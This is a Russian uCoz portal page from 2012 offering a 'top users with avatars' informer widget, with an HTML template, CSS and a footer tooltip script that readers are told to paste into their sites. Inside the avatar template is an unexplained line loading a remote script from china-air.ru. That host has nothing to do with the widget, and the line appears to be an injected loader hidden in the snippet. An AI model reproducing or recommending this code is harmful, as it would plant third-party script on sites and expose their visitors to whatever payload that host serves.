Вторник, 03.12.2024, 16:41
Главная | Регистрация | Вход | RSS
Перевод

Погода
Профиль
Здравствуйте, Гость
Гость, мы рады вас видеть.
Поиск
Друзья сайта
  • All Share
  • it-baza
  • Eroglamour.ru
    • Статистика
    widgeo.net



    Каталог webplus.info










    Яндекс.Метрика






    Онлайн всего: 10
    Гостей: 10
    Пользователей: 0


    Всего: 201
    Новых за месяц: 0
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0
    Администраторов: 2
    Модераторов: 3
    V.I.P.: 2
    Журналистов: 27
    Временных: 0
    Заблокированных: 0
    Обычных: 167
    Парней: 157
    Девушек: 43
    Всего материалов:
    Новостей: 43846
    Блогов: 226
    Файлов: 57
    Фото: 0
    Форум: 7/7
    Коментариев: 29


    Посетившие за День



    День рождения рождения


    Облако тегов
    Реклама
    Меню сайта
    Категории раздела
    Программы [3808]
    Мультфильмы [491]
    Антивирус [223]
    Photoshop [1548]
    Книги Журналы [11595]
    Клипы [878]
    Фильмы онлайн [3]
    Все для Мобилы [352]
    Игры [1012]
    Музыка [9033]
    Фильмы [2969]
    Заработок в Интернете [554]
    Все для Того чтоб заработать в Интернете
    Разное [11198]
    Скрипты - Шаблоны для сайтов [57]
    Youtube
    Наш опрос
    Оцените мой сайт
    Результаты | Архив опросов
    Всего ответов: 54
    Игра
    Реклама

    >

    Эротический видео-чат
    автоматическое продвижение сайтов






    $$$ для web-мастеров

    Сборник элитных сайтов с особой модерацией.

    <
    Рейтинг сайтов 3D Architech - Новости CG графикиСтатистика посещений сайта
    Каталог webplus.info
    Главная » 2012 » Декабрь » 30 » Новый Топ пользователей с аватарами для Ucoz
    15:18
    Новый Топ пользователей с аватарами для Ucoz
    Описание: Скрипт Топ пользователей для Ucoz. С позициями + хинт информации о пользователи при наведении курсором на аватар.
    Установка:
    Создаем информер:
    [ Пользователи · Материалы · Кол. файлов · Материалы: 8 · Колонки: 2 ]
    В шаблон информера вставляем:

    Код
    <div class="utop-user" align="center">  
      <a href="$PROFILE_URL$" class="ut-ava" title="<b>Имя:</b> $USERNAME$<br/><b>Файлов:</b> $LOAD_POSTS$</br><b>Форумов:</b> $FORUM_POSTS$</br><b>Коментариев:</b> $COM_POSTS$</br>">  
    <?if($AVATAR_URL$)?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>  
      <img src="$AVATAR_URL$"><?else?>  
      <img src="http://bambun.ru/images/noa23va.png">  
      <?endif?>  
    </a>  
      <a href="$PROFILE_URL$"><span class="group$GROUP_ID$"><b>$USERNAME$</b></span></a>  
      <div class="utop-number">$NUMBER$</div>  
      </div>


    В CSS вставляем в самый низ

    Код


    /*Новые участники*/  
    .utop-user {display:inline-block; width:70px; margin-bottom:8px; position:relative; font-size:10px;}  
    .utop-user .utop-number {position:absolute; top:-2px; left:-1px; padding:1px 3px; font-size:10px; font-weight:bold; color:#fff; background:#000;  
    border-radius:2px; -moz-border-radius:2px; -webkit-border-radius:2px;}  
    .utop-user a.ut-ava img {max-width:52px; height:52px;border-radius: 3px;  
    -moz-border-radius: 3px;  
    -webkit-border-radius: 3px;  
    border-top-left-radius: 3px;  
    border-top-right-radius: 3px;  
    border-bottom-right-radius: 3px;  
    border-bottom-left-radius: 3px;}  
    .utop-user a.ut-ava {border:1px solid #cfcfcf; padding:2px; width:52px;border-radius: 3px;  
    -moz-border-radius: 3px;  
    -webkit-border-radius: 3px;  
    border-top-left-radius: 3px;  
    border-top-right-radius: 3px;  
    border-bottom-right-radius: 3px;  
    border-bottom-left-radius: 3px; text-align:center; display:inline-block;}  
    .utop-user a.ut-ava:hover {border-color:#000;}  
    #easyTooltip{  
      padding:10px;  
      border:1px solid #000000;  
      background:#000;  
      border-radius: 4px;  
      -webkit-border-radius: 4px;  
      -moz-border-radius: 4px;  
      color: #666666;  
      filter:alpha(opacity=90);  
      -moz-opacity: 0.9;  
      -khtml-opacity: 0.9;  
      opacity: 0.9;  
      z-index:1000;  
      }  
    /*===================================*/


    В нижнюю часть сайта

    Код
    <script type="text/javascript" src="http://bambun.ru/css_js/tooltip.js"></script>  
      <script>  
      $(document).ready(function(){$("a").easyTooltip()});$(document).ready(function(){$("img").easyTooltip()});  
      </script>
    Просмотров: 109 | Добавил: startsmart | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]